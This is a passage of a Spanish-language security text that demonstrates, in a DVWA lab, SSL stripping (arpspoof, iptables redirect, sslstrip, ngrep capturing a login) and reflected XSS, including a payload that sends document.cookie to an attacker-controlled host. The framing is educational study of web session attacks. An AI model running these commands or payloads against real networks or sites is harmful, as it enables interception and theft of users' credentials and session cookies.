4.3 ATAQUES MEDIANTE TECNICAS DE SSL SPOOFING

zar usuarios validos que, por pereza o ignorancia, siguen ingresando al sitio
web utilizando HTTP en lugar de HTTPS.

LAN usuarios

USUARIOZ

ROUTER3

Figura 4.10: Ataque de SSL Spoofing

En la figura 4.11 se puede observar que el requerimiento HTTP enviado por

el navegador de USUARIO1 es respondido con una redireccion HTTP, cédi-

go 302, que indica en el encabezado Location: https://192.168.15.10/ el

lugar adonde USUARIO1 debe conectarse. Debido a esta redireccién, cada

vez que el cliente

intente acceder, ya sea utilizando HTTP o HTTPs, la cone-

xién terminard siendo HTTPs. En la figura 4.12 se observa el sitio web al que

accede USUARIO1 cuando utiliza la aplicacién web DVWA. La figura 4.13

muestra el portal

de la aplicacién web luego de una autenticacién exitosa.

Notar que las comunicaciones al sitio web son HTTPs.

Follow TCP Stream (USUARIO1) -+ X

Stream Content

GET / HTTP/1.1

HTTP/1.1 362 Found

Server: Apache/2.2

Host: 192.168.15.10

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.@
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=f954p6hels7hl94esftiqfpeve; security=low

Connection: keep-alive

Date: Wed, 24 Jun 2015 02:45:11 GMT

Location: https://192.168.15.10/

Vary: Accept-Enceding

Content-Encoding: gzip

Content-Length: 237

Keep-Alive: timeout=5, max=108

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

.22 (Ubuntu)

.......... UOMK.B. . NhOmL Y. s FPT. o ccllacnnaainen)anadfasiaeiXaa 88V, .. €

A P . P R . P TR TP [ [ o & T P AR | P | (R [P P

ceeee N, i /Y. .4..0..5.90. . ... IS PR |

{{--3.Rp...m......oua.. B.Y..ouun N | D

|Entire conversation (880 bytes) v

| QFind | ESaveAs | &Print [OASCI OEBCDIC OHexDump O CAmays @ Raw

Figura 4.11: Redirecciéon HTTP a HTTPs
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LAN usuarios

USUARIO2

192.168]10.22/24

dummy0

192.168.

ROUTE

e
File Edit View History Bookmarks Tools Help

~ Damn Vulnerable Web App (DVWA) - Login - Mozill

[® Damn Vulnerable ... x | dp

>

)
DVWA

Username

Password

Login

Figura 4.12: Pagina inicial DVWA

15 VWiew Tools Widgets Session Help

LAN usuarios

USUARIO2

192.168/10.22/24

-/—

dummy0

192.168.

ROUTE

@ Damn Vulnerable Web App (DVWA) v1.8 :: Welc/

File Edit View History Bookmarks Tools Help

@ Damn Vulnerable ... x | &b

¢

af 192.168.15.10/ind ex

(ome | Welcome to De

Instructions ‘ Damn Vulnerable Web App (C
aid for security professionals t

Setup the processes of securing wet
room environment.

Brute Force WARNING!

Command Execution Damn Vulnerable Web App is
internet facing web server as i

u machine inside your LAN whic

Insecure CAPTCHA Disclaimer

Fie Inclusion We do not take responsibility {

SQL Injection application clear and it should

from installing DVWA on 1o |iv

Figura 4.13: DVWA luego de iniciar sesién

Como se ha mencionado, las aplicaciones que utilizan HTTPs no sufren de

problemas de sniffing y MITM. Sin embargo es posible atacarlas de modo

de poder inspeccionar el trafico de red de sus comunicaciones. El ataque

que hace esto posible se llama SSL spoofing. Este ataque no es un ataque

contra HTTPs sino que es un ataque basado en el engafio al usuario.

Para llevar a cabo un ataque de SSL Spoofing se requiere de una combina-

cién de técnicas ya vistas para manipular usuarios y protocolos de comuni-

cacién. Las técnicas utilizadas en un ataque de SSL spoofing son:

1. MITM - Para posicionar al atacante en el camino entre el usuario y

el servidor. Para esto, al igual que en los casos de sniffing en redes

interconectadas con switch, se utilizard la herramienta arpspoof.
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2. Redirecciéon de paquetes - Para redireccionar de manera transparente
el trafico HTTP de la victima hacia la herramienta encargada de llevar
a cabo el ataque de SSL spoofing. Para realizar esta redireccién se
utilizard la herramienta iptables.

3. SSL spoofing - Para manipular el contenido de las paginas recibidas
desde el servidor y engafar al usuario para que nunca establezca una
comunicaciéon HTTPs. Esto serd lo que permita interpretar el conteni-
do de las comunicaciones de la victima del ataque y se implementa
con la herramienta sslstrip[44].

4. Sniffing - Para capturar el trafico de red manipulado y revelar infor-
macién de interés en el mismo.

4.3.1 MITM

El atacante, puede posicionarse en el camino de las comunicaciones entre el
usuario y el servidor mediante un ataque de MITM. Para ello, se manipula el
protocolo ARP[78] utilizando la herramienta arpspoof del mismo modo en
que fue mostrado en la seccién 4.2.2. Para ello se deberd ejecutar el siguiente
comando:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.10.20 192.168.10.1

4.3.2  Redireccion de paquetes

La redireccion de paquetes es necesaria para hacer pasar el trafico HTTP
de la victima por la herramienta que realizard el ataque de SSL spoofing.
La herramienta que hace el SSL spoofing funcionard como un proxy HTTP
transparente instalado en la computadora del atacante en el puerto 5555.

Con el ataque de MITM, el atacante logra que el tréfico de red del usuario
victima pase por la computadora del atacante. En la computadora del ata-
cante, la redireccién transparente del trafico HTTP de la victima, se puede

realizar con el siguiente comando:

iptables -t nat -A PREROUTING -p tcp \
--destination-port 80 -j REDIRECT --to-port 5555
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4.3.3 SSL spoofing

La herramienta que implementa el ataque de SSL spoofing, sslstrip[44], ma-
nipula la navegacion del usuario y el contenido de las paginas recibidas
desde el servidor. Para ello filtra redirecciones a sitios HTTPS y reescribe,
en las paginas web que el servidor envia al usuario, los enlaces https por
enlaces http. De este modo, sslstrip engafia al usuario victima permitiendo-
le acceder al contenido deseado pero utilizando comunicaciones HTTP en

lugar de comunicaciones HTTPs.

El atacante, luego de redireccionar todo el trafico HTTP del usuario al puer-
to 5555 de su computadora, debera ejecutar sslstrip del siguiente modo:

sslstrip -1 5555

Como es de esperar, durante el ataque, el usuario victima opera en el sitio
web normalmente utilizando HTTP en lugar de HTTPs. En sintonia con lo
expresado en figura 3.6, en la figura 4.14 se muestra la informacién manipu-
lada por sslstrip en la que luego de que el usuario visita http://192.168.
15.10/, se lo instruye para acceder a http://192.168.15.10/login.php en
lugar de a https://192.168.15.10/login. php.
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a ] Follow TCP Stream (ATACANTE) -+ x
File Edit View Go Capture Analyzq Stream Content
B B 04 25 % @ | o T

Host: 192.168.15.10
Fiter:  |kcp.stream eq 0

User-Agent: Mozilla/5.@ (X11l; Ubuntu; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.@
ccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

No. Time Source ccept-Language: en-US,en;q=0.5

8 7.299864 192.168.10.2( Accept-Encoding: gzip, deflate CK_PERM=1 TSval=40564

9 7.299889 192.168.15.1{ | Cookie: PHPSESSID=f954p6hls7h19405Ftiqfpeve; security=low MSS=1460 SACK PERM=1

10 7.299911 192.168.10.2{ (Connection: keep-alive =4056476 TSecr=405647
HTTP/1.1 302 Found e —

12 7.300287 192.168.15.1 | ‘Transfer-Encoding: chunked al=4056476 TSecr=4056

24 7.343397 192.168.15.1{ | X-Powered-By: PHP/5.3.10-lubuntu3.13

25 7.343420 192.168.10.2{ Expires: Thu, 19 Nov 1981 68:52:00 GMT Sval=4056487 TSecr=4@

31 7.354994 192.168.10.2( \Vary: Accept-Encoding

32 7.355003 foaNiearasti|| [Keep-Alive: timeout=5, max=18@ Sval=4056490 TSecr=46

server: Apache/2.2.22 (Ubuntu)
Connection: Keep-Alive
Location: login.php

46 7.381024 192.168.15.1
47 7.381044 192.168.15.1
48 7.381055 192.168.10.2

Pragma: no-cache TSval=4056496 TSecr=4 v

Cache-Control: no-store, no-cache, must-revalidate, post-check=e, pre-check=0
Date: Wed, 24 Jun 2015 82:55:58 GMT
Content-Type: text/html

b Frame 11: 415 bytes on wire (33z
b Ethernet II, Src: 80:00:00:aa:0
b Internet Protocol Version 4, Sr
b Transmission Control Protocol, §
b Hypertext Transfer Protocol

]

GET /login.php HTTP/1.1

Host: 192.168.15.10
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:32.0) Gecko/20100181 Firefox/32.0
ccept: text/html,application/xhtml+xml,application/xnl;q=0.9,%/*;q=0.8

0000 00 08 00 aa 00 07 00 00 00
0010 ©1 91 c6 22 40 00 40 06 d8
0020 OF 0a bf ec 00 50 43 84 23
0030 03 91 9b f2 00 00 01 01 08
0046 e5 9c 47 45 54 20 2f 20 48 | |Entire conversation (2721 bytes) A
0050 ©d 0a 48 6f 73 74 3a 20 31

@060 31 35 2e 31 30 0d @a 55 73 Q Find = SaveAs & Print | O ASCII O EBCDIC O Hex Dumg N o "
9070 74 33 20 4d of 75 69 60 e Stream data output in "Hexdump" format J
© File:"Jempfwireshari_etho_20150623155 .. packd | @ Helo ¥ Filter Out This Stream Close ofile: Default 4

H x
[A XL A= ™ Core @ATACANT... JCORE (417560... @ [Damn Vulnera... ™ [LXTerminal] | XTerminal [E@etho ot port2... Bl i d) B Lgiest O

Figura 4.14: Trafico de red durante SSL Spoofing

En las figuras 4.15 y 4.16 se observa la forma en que el ataque se presenta a
la victima. En las mismas la tnica diferencia con el uso normal del sistema
es que la URL utilizada no es HTTPS.


http://192.168.15.10/
http://192.168.15.10/
http://192.168.15.10/login.php
https://192.168.15.10/login.php
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L
File Edit Canvas View Tools Widgets Session Help
o e Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox (USUARIO1) -+ x
= File Edit View History Bookmarks Tools Help
b / @ Damn Vulnerable ... x \ |8 404 Not Found x| &
adl € @192.168.15.10/login.php vc|[@-Coogle Q] & & » | =
W - z
.
1% 1 =N

LAN (iidrios ~

192.168/10.22/24

DVWA

Username

192.168.107

192 68.10.21/24
Password

ATACANTE

[\ canvas1 /' El E—
[zoom 100% [cPU 0% (0) [1122M free]
(A X)) (= ™ [core@USUARIO ... ) CORE (42049 onv... ™ [LXTerminal] ™ [ XTerminal] . [} XTerminal] Vu b ) 0 Lg0s29 O

Figura 4.15: Victima SSL Spoofing

Ele Edit Canvas View Tools Widgets Session Help
o @ Damn Vulnerable Web App (DVWA) V1.8...rute Force - Mozilla Firefox (USUARIOL) - + x
= File Edit View History Bookmarks Tools Help
b / [ Damn Vulnerable ... x | B 404 Not Found x|
| € @192.168.15.10/vulnerabilities/exec/ ve|[@BvGooge Q| 3 @& » | =
N - a
K D
% : D\WA)
LAN Usuarios =
run
T o Vulnerability: Command Execution
192.168 tic
Instructions Ping for FREE
Setup.
Enter an IP address below:
Brute Force submit
192.168.10.
192.168.10.21/24 | commanaExecuon | R
CSRE More info
AT Insecure CAPTCHA
File Inciusion =
SQL injection
SQL Injection (Biin)
Upload v
« >
EIS\ canvest 4 E >
[z0oom 100% [CPU 0% (0) [1121M free]
e e umm ™ [core@USUARION ... ) CORE (42049 onv... ™ [ XTerminal] ™ | xTerminal] ™ 1 XTerminal] " YDamn Vulnerable. | )0 Lgos2a O

Figura 4.16: Victima SSL Spoofing luego de autenticarse

4.3.4 Sniffing

Para completar el ataque, lo tinico que queda es proceder a realizar el snif-
fing del tréfico de red manipulado. El sniffing permitira revelar informacién
de interés del usuario victima. En la figura 4.17 se observan las distintas
consolas de comandos utilizadas por el atacante para llevar a cabo todas las
componentes del ataque de SSL Spoofing. Una de las terminales muestra el
sniffing del trafico en el cual se puede distinguir no sélo la cookie de sesién,
sino también el usuario y la contrasefia utilizadas.
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- x
root@ATACANTE: /tmp/pycore.42049/ATACANTE . conf# arpspoof -t 192.168.10.20 192.168.10.1 *

0:0:0:2a:0:7 0:0:0:aa:0:6 0806 g reply 192.168.10.1 is-at 0:0:0:

] :0 0806 reply 192.168.10.1 is-at ©

] :0 0806 reply 192.168.10.1 is-at ©

<] :0 0806 reply 192.168.10.1 is-at ©

(] :0 0806 reply 192.168.10.1 is-at ©

(<] 0 0806 reply 192.168.10.1 is-at ©

H 0 0806 reply 192.168.10.1 is-at @ v

root@ATACANTE: /tmp/pycore.42049/ATACANTE. conf# sslstrip -1

sslstrip 0.9 by Moxie Marlinspike running...

5555 ~ Mﬂfg

filter:

(ip or ip6) and ( port 80 )

root@ATACANTE: /tmp/pycore.42049/ATACANTE. conf# ngrep -d eth@ 'password'
interface: eth® (192.168.10.0/255.255.255.0)

LXTerminal -+ %

'port 80' =

rv:32.0) Gecko/20100101 Firefox/32.0

min&password=password&Login=Login
#######################I
[Z\ canvas1 /

_10236s match: password

19z fe.

| |

| N‘_JE T 192.168.10.20:49208 -> 192.168.15.10:80 [AP]

POST /login.php HTTP/1.1..Host: 192.168.15.10..User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686;

=0.9,*/%;q=0.8..Accept-Language: en-US,en;q=0.5..Accept-Encoding: gzip, deflate..Referer: http:/
/192.168.15.10/1ogin.php..Cookie: PHPSESSID=05ncghce2f9lkduhesr8jklt52; security=low..Connection
: keep-alive..Content-Type: application/x-www-form-urlencoded..Content-Length: 44....username=ad

..Accept: text/html,application/xhtml+xml,application/xml;q

A L Ami=S

™ [core @USUARIOT ... ) CORE (42049 onv... B |xTerminal

Tzoom 100% [CPU 1% (1] | I110M free|

| @ amn vulnerabl... ) @ Lgos23 O

™| xTerminal

Figura 4.17: Sniffing SSL Spoofing

En la figura 4.18 se pueden ver los paquetes intercambiados durante el inicio
de sesiéon del usuario victima. Se trata de paquetes HTTP en los que se
puede distinguir la cookie de sesién utilizada, el nombre de usuario y la

contrasefia del usuario victima.

al Follow TCP Stream (USUARIO1) -+ %
Stream Content:

POST /login.php HTTP/1.1 =
Host: 192.168.15.10

User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:32.0)
Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/
s

5G=0.8

IAccept-Language: en-US,en;q=0.5

lAccept-Encoding: gzip, deflate

oW M E @

th Info =
74 49118 > http [SYN] Seq=0 Win=1460@ Len=0 MSS=146@ SACK PERM=1 TSval=395
74 http > 49118 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=0 MSS=1460 SACK PERM=
66 49118 > http [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=3956893 TSecr=3956

Referer: http://192.168.15.10/login.php

Cookie: PHPSESSID=f954p6h0ls7h19405ftiqfpeve; security=low
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 44

username=admin&password=password&Login=LoginHTTP/1.1 302 Found
Transfer-Encoding: chunked

-Powered-By: PHP/5.3.10-1lubuntu3.13

Expires: Thu, 19 Nov 1981 08:52:00 GMT

66 http > 49118 [ACK] Seq=1 Ack=514 Win=15552 Len=0 TSval=3956893 TSecr=39
496 HTTP/1.1 302 Found

66 49118 > http [ACK] Seq=514 Ack=425 Win=15680 Len=0 TSval=3956902 TSecr=
465 GET /index.php HTTP/1.1

637 HTTP/1.1 302 Found (text/html)

465 GET /index.php HTTP/1.1
4416 [TCP segment of a reassembled PDU]

66 49118 > http [ACK] Seq=1312 Ack=5340 Win=25504 Len=0 TSval=3956912 TSec v

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=160

server: Apache/2.2.22 (Ubuntu)

Connection: Keep-Alive

Location: index.php

Pragma: no-cache

Cache-Control: no-store, no-cache, must-revalidate, post-check=6,

ts) =
22:00:07 (00:00:00:aa:00:07)
92.168.15.10 (192.168.15.10)
(80), Seq: 1, Ack: 1, Len: 513

pre-check=6
Date: Wed, 24 Jun 2015 02:49:19 GMT
Content-Type: text/html v

Entire conversation (7376 bytes) v

Q Find | & Save As | & Print |O ASCIl © EBCDIC O HexDump O CArrays ® Raw

3

[l Filter Out This Stream x Close

™ cor2@USUARIO... & CORE (41756 0... @ DamnVulnerab... [flCapturing from ...

< Profile: Default

A
[ XTerminal] . [ xTerminal] Follo ) 8 Lg1950 O

Figura 4.18: SSL Spoof: Robo de credenciales y cookie

4.4 ATAQUES MEDIANTE INSPECCION DE DATOS EN EL NAVEGADOR

DE LA VICTIMA

Es frecuente que cuando un usuario abandona su computadora para rea-

lizar otra actividad no bloquee su cuenta. En esta situacién, un atacante

podria acceder a informacién personal de dicho usuario. Inspeccionando en

los datos recolectados por el navegador, es posible para el atacante acceder
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a cookies de sesién intercambiadas con los sitios que el usuario utiliza o
credenciales de acceso almacenadas. .

En la figura 4.19 se pueden ver credenciales de acceso recordadas por el na-
vegador web en distintos sitios web. Estas credenciales fueron almacenadas
a pedido del usuario que las utiliz6. Con estas, el navegador puede usarlas
cuando el usuario ingresa al sitio al que pertenecen, sin que sea necesario

que el usuario deba ingresarlas.

[ ] saved Passwords - + x
Search: Q
Passwords for the following sites are stored on your computer:

Site ~ | Username Password Last Used Last Changed B
http://192.168.15.10 admin password Jun 24,2015, 6:23 AM Jun 23, 2015
https:/f192.168.15.10 bob salamandra Jul 3, 2015, 7:38 PM Jul 3, 2015
@Remove | 4 Remove All Hide Passwords
* Close
A

Figura 4.19: Contrasefias almacenadas en navegador web

En la figura 4.20 se pueden observar cookies de sesién validas que el nave-
gador web utiliza en distintos sitios web que el usuario visita. Las cookies
de sesién tienen un tiempo de validez establecido por la aplicaciéon web.
Muchos sitios web, utilizan configuraciones que permiten a las cookies te-
ner un tiempo de validez muy grande para que el usuario no tenga que
autenticarse a cada rato. Este es el caso de aplicaciones relacionadas a redes
sociales o servicios de mails. Otro tipo de aplicaciones, como por ejemplo
las de homebanking, suelen tener tiempos de validez restrictivos.

[ 1 Cookies Manager+ v1.5.2 [showing 289 of 289, selected 1] -+ x
File Edit View Tools Help
Search: Q, ¥ | Refresh
] site ~ | Name Content B
v a
[ 192.168.15.10 security low
[~ 254a.com tuuid 4fa3b015-6e31-4317-a834-3e57139da228
[ acuityplatform.com auid 91782256340
[~ addthis.com bt 1427825102|0000v 7020
[ addthis.com btz 551ae1ce001P70004
[~ addthis.com diz MM3BWEWAL|4LUYM
[ addthis.com dt X
[ addthis.com loc MDAWMDBTQUFSMDAxNDUxMTIyMDAWMDAWMDAWVg==
I addthis.com uid 551ae12a685228c0
[ addthis.com uit 1
I~ addthis.com um 2JT'0y41705yypjDveuPoishAw
[ addthis.com uve 2%7C13 Y
PHPSESSID
t9llgobecf1vsannvghrukcod4
192.168.15.10
!
Any type of connection
At end of session
Mo Protect Unprotect
Add Edit Delete % Close

Figura 4.20: Cookies de sesién almacenadas en navegador web
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La informacién necesaria para realizar ataques contra las sesiones web de
los usuarios también puede ser obtenida mediante el aprovechamiento de
distintas vulnerabilidades de la aplicacién web. Para mostrar cémo es esto
posible se utilizara la aplicacion web DVWA, la cual de manera intencional

posee distintas vulnerabilidades.

En una aplicacién web puede existir distintos problemas de programacién
con los que se pueden realizar distintos ataques contra la aplicacién. La ma-
yoria de estas vulnerabilidades estan consideradas en el Top 10 de OWASP
debido al riesgo que su presencia ocasiona para la organizacién. Muchas de
estas vulnerabilidades pueden ser utilizadas para realizar ataques contra las
sesiones web de los usuarios que utilizan el sistema web. Estos ataques se
aprovechan del mecanismo de manejo de sesiones que las aplicaciones web
utilizan actualmente.

4.5.1 Ataques a sesiones via fallas de secuencia de comandos en sitios cruzados
(XSS)

Este tipo de falla, mas conocida como XSS o “Cross Site Scripting” es la
tercera mas critica del Top 10 de OWASP. Se trata de fallas en la validacién
de datos ingresados por el usuario. Como ya se mencioné en el capitulo 3,
puede provocar no soélo la ejecuciéon de cédigo JavaScript en el navegador
de la victima sino también la alteracion del cédigo HTML que conforma la

pagina visitada.

Este tipo de vulnerabilidad se puede usar para robar cookies de sesién de
otros usuarios como asi también, dependiendo la aplicaciéon en particular,
robar credenciales de acceso. Debido a esto, las fallas de tipo XSS comprome-
ten severamente la seguridad del mecanismo de manejo de sesiones HTTP
utilizado actualmente.

A diferencia de los ataques de sniffing, en los que el uso de un canal de
comunicacién seguro como HTTPs evitaba el ataque, en los problemas de
tipo XSS resulta indistinto si la aplicacién funciona sobre HTTP o sobre
HTTPs. Para ilustrar mejor el concepto, en la figura 4.21 se observa una

topologia de red en la que se distinguen:

= Un sitio web vulnerable a ataques de XSS. A pesar de que el servicio
corre en HTTPs, se verd que la vulnerabilidad sigue existiendo. Como

ejemplo se utilizara: https://www.comprasonline.com

= El atacante.


https://www.comprasonline.com
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= La victima: cualquier usuario del sitio web vulnerable.

= Un servidor utilizado por el atacante para recolectar la informacién

robada. Como ejemplo se utilizard: www.myhosting.com.

Internet

ROUTER4

www-myhosting-com

www-comprasonline-com

Atante
192,168.182.2/24

Red de acceso publico 102.1¢8.12.1/24

192,168.10.4 "ROUTERL

SWITCH1 g

~° 168.10.20/24

USURRIOL USUARIO2

Figura 4.21: Topologia Ataque XSS

Dependiendo de la aplicacién web, las fallas XSS pueden ser de alguno de
los siguientes tipos: reflejadas o almacenadas. En [33] se dan detalles sobre
prevencién y testing de fallas de XSS.

4.5.1.1 XSS Reflejado

Una aplicacién que toma datos del usuario y los utiliza sin validarlos ade-
cuadamente, es susceptible a vulnerabilidades de tipo XSS reflejado si di-
chos datos son utilizados en la pagina web retornada por la aplicacién web.
En un sitio web con problemas de XSS reflejado, un atacante podria robar
la cookie de sesion a distintos usuarios del sitio.

Con el objeto de probar el riesgo posible frente a fallas de XSS reflejadas se
utiliz6 el software DVWA. La seccién “XSS reflected” de DVWA es vulnera-
ble a este tipo de fallas. Para realizar las pruebas se aloj6 al sitio vulnerable

en la URL http://www.comprasonline.com.

Evaluacion de falla de tipo XSS reflejado

Una funcionalidad tipica de las aplicaciones web en la que se pueden encon-
trar fallas de tipo XSS reflejado se ve cuando la aplicaciéon espera un dato
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del usuario el cual es utilizado en la pagina web retornada. En el caso de
DVWA, en la figura 4.22 se puede ver que el sistema pregunta por el nombre
del usuario con el objetivo de saludarlo y en la figura 4.23 se ve el resultado

de dicha operacion.

(<] Damn Vulnerable WebrApp (DVWA) w1 007

48

Archivo Editar Wer Historial Marcadores Herramientas Ayuda

(«] ~ 9 jjﬁ https:p‘f\»mm.mmprasunlms.cum]\;ulnerab\llt\e5]x557r/

Damn Wulnerable Web App ... 3 |/ Problema cargando la pagina % | ¥

jema | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions
Sglup— ‘What's your name?
[nicolas [ Submit |
Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

More info

Figura 4.22: Ingreso de datos del usuario

(<] Damn Valnerable WebrApp (DVIWA) V1. 07 s Vainerability:"Reflected Cross Site  Scripting (X55) - Iceweasel (USUARIOL)
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Q v 9 i\ https:f,l\/uww‘mmprascnhne.cnm;\/ulmerab\lltleafkss_r}?nams:Nlcclas#

Damn Vulnerable Web App ... 3 ‘._5 Problema cargando |a pagina

i Vulnerability: Reflected Cross Site Scripting (XSS)

+

Instructions

Selup— What's your name?

|| Submit |

Brute Force
- Hello Micolas
Command Execution

CSRF
File Inclusion More info

SQL Injection

SQL Injection (Blind)

Upload

Figura 4.23: Reflejo de los datos ingresados por el usuario

El usuario podria confirmar la existencia de una falla de tipo XSS ingresando
por ejemplo, en lugar de su nombre, lo siguiente:

ni<hi>col</hl>as

Del mismo modo, como se muestra en la imagen 4.24, se podria intentar

inyectar cédigo JavaScript para que se ejecute en la pagina retornada. Para

ello serd necesario ingresar:
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nicolas <script> alert(document.cookie);</script>
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L« e 9 1\ https:[f\mmu.comprasonlme.ccmf\;ulmerab\lit\esfxss_rf

Damn Vulnerable Web App (Dv.., | %
D\WA)

s Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions
Setup ‘What's your name?
Inicu\as <script> alert{document cookie)</script> ] | submit |
Brute Force

Command Execution More info

CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
[ xssrefiected |

Figura 4.24: Testing XSS

Si en ese lugar de la aplicacién web, la misma no tuviese una vulnerabilidad
de tipo XSS reflejada, al enviar la cadena indicada, el sistema se limitaria a
saludarnos mostrando:

nicolas <script> alert(document.cookie);</script>

Por el contrario, si la aplicacién fuese vulnerable, el texto ingresado por el
usuario se confundiria con el cédigo HTML original de la pagina retornada.
Esto permitird a un atacante modificar el HTML o, como se muestra en la
figura 4.25, ejecutar c6digo JavaScript en el navegador web de la victima.

Ataque via XSS reflejado

Mediante una vulnerabilidad de tipo XSS un atacante podra robar la infor-
macién de cookies de sesion de otros usuarios. Para ello, mediante engafios
o ingenieria social, una manera de disparar el ataque es haciendo que el
usuario victima visite una pagina web determinada.

En el caso de DVWA, el pardmetro vulnerable se envia a través del método
HTTP GET. En estos casos, la pagina que se puede enviar al usuario vic-
tima es la del propio sistema con el pardametro vulnerable especificamente
manipulado por el atacante.

Para que el atacante pueda ejecutar el siguiente c6digo JavaScript en el nave-
gador de la victima, como se muestra en la imagen 4.25, deberd manipular
el parametro vulnerable con la siguiente informacién:
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#% Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (X55) - Iceweasel (USUARIO1) [=][t
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[+ ] v g 0 5\_ https:ff\wm.cumprasunlme.cum]\;ulnerab\lit\es/xssjf?name=niccla5+<scr\pt>+a|ert(ducu

ow)

s Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions

£ Damn Vulnerable Web App (Ov... | %

‘What's your name?

Setup

Brute Force
Hello nicolas w1 L3 pagina en https://w....com dice: (USUARIOT)" =& |
Command Execution

CSRF . PHPSESSID=2rm4alq3civ0gl8vpaoqo23ul2; security=low

[ | [ Submit |

File Inclusion

SQL Injection QﬂAcsptar
SQL Injection (Blind)
Upload

XSS stored

Figura 4.25: Ejecucién de XSS

nicolas <script>
alert (document.cookie);
</script>

Como resultado, en el navegador de la victima, luego de que se ejecute el c6-
digo JavaScript inyectado, el sistema web visitado se visualizard normalmen-
te como en la imagen 4.26. Como se ve en las imdgenes 4.25 y 4.26, la URL
que el atacante debi6é enviar al usuario victima para lograr ejecutar cédi-
go JavaScript en su navegador web fue https://www.comprasonline.com/
vulnerabilities/xss_r/7name=nicolas+%3Cscript},3E+alert’28document.

cookie’,29%3C/2Fscript3E#.

Un atacante puede explotar una vulnerabilidad de tipo XSS reflejado para
robar la cookie de sesion de los usuarios del sistema. Para ello, el atacante
tiene que ingenidrselas para que el script inyectado en el navegador de la
victima, en lugar de mostrar la cookie al usuario victima, la envie a algtin
servidor controlado por el atacante. Una forma de hacer esto para el atacante

serfa inyectando el siguiente cédigo:

<script>
new Image().src = *http://www.myhosting.com/logo?id=">
+ encodeURI (document.cookie);
</script>

Para que la victima caiga en la trampa, debera visitar la pagina web vulne-
rable con el pardmetro ya manipulado por el atacante. Suponiendo que la
victima se llama Ana y queremos que no sospeche, el atacante podria armar

una URL para que al visitarla responda:

Hello Ana


https://www.comprasonline.com/vulnerabilities/xss_r/?name=nicolas+%3Cscript%3E+alert%28document.cookie%29%3C%2Fscript%3E#
https://www.comprasonline.com/vulnerabilities/xss_r/?name=nicolas+%3Cscript%3E+alert%28document.cookie%29%3C%2Fscript%3E#
https://www.comprasonline.com/vulnerabilities/xss_r/?name=nicolas+%3Cscript%3E+alert%28document.cookie%29%3C%2Fscript%3E#
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||t_.i| TR https:ffwww.comprasonline.compvulnerabilities/xss_rffname=nicolas+<script=> +alert(document. .cookie )% 3B<%2Fscript> #

Damn Vulnerable web App (Dv... |

jame | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions
sglup— What's your name?

[ ]\ Submit |

Brute Force
Hello nicolas

Command Execution

CSRF
File Inclusion More info

SQL Injection

SQL Injection (Blind)

Upload
XSS stored

Figura 4.26: Resultado ejecucién XSS

Suponiendo que el atacante controla el servidor http://www.myhosting.
com al cual desea que se envie la informacién robada, la URL que imple-

menta el ataque seria:

https://www.comprasonline.com/vulnerabilities/xss_r/
?name=Ana<script>newlImage() .src=http://www.myhosting.

com/logo?id=+encodeURI(document.cookie) ;</script>
o lo que es lo mismo en la notacién encodeURI:

https://www.comprasonline.com/vulnerabilities/xss_r/
?name=Ana},3Cscript’3Enew+Image’,28%29.src%3D%27http’%3A%
2F),2Fuww .myhosting. com’,2Flogo?3D%27%2BencodeURIY,
28document . cookie’29%3C/2Fscript?3E#

El usuario es atacado cuando ingrese desprevenidamente a la URL malicio-
sa, ya sea porque:

= La recibi6 por correo electrénico o mensajerfa instantdnea y la visito.

= La URL estd embebida en otra pagina que el usuario pudo haber visi-
tado por otra razén.

= Dejo la computadora desbloqueada y un tercero la utilizé para ingre-
sar al sitio web. Esta opcién es absurda porque como se ha dicho ante-
riormente el atacante podria haber inspeccionado las cookies almace-
nadas en el navegador.

En la figura 4.27 se visualiza lo que verfa el usuario atacado cuando ingresa
a la URL maliciosa. Lo tinico anormal es la URL de la pagina, la cual es un
poco mas extensa de lo normal.



http://www.myhosting.com
http://www.myhosting.com
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana <script>  new Image().src = http://www.myhosting.com/logo?id=+encodeURI  (document.cookie);</script>
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana <script>  new Image().src = http://www.myhosting.com/logo?id=+encodeURI  (document.cookie);</script>
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana <script>  new Image().src = http://www.myhosting.com/logo?id=+encodeURI  (document.cookie);</script>
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript  %3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27  %2BencodeURI%28document.cookie% 29%3C%2Fscript%3E#
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript  %3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27  %2BencodeURI%28document.cookie% 29%3C%2Fscript%3E#
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript  %3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27  %2BencodeURI%28document.cookie% 29%3C%2Fscript%3E#
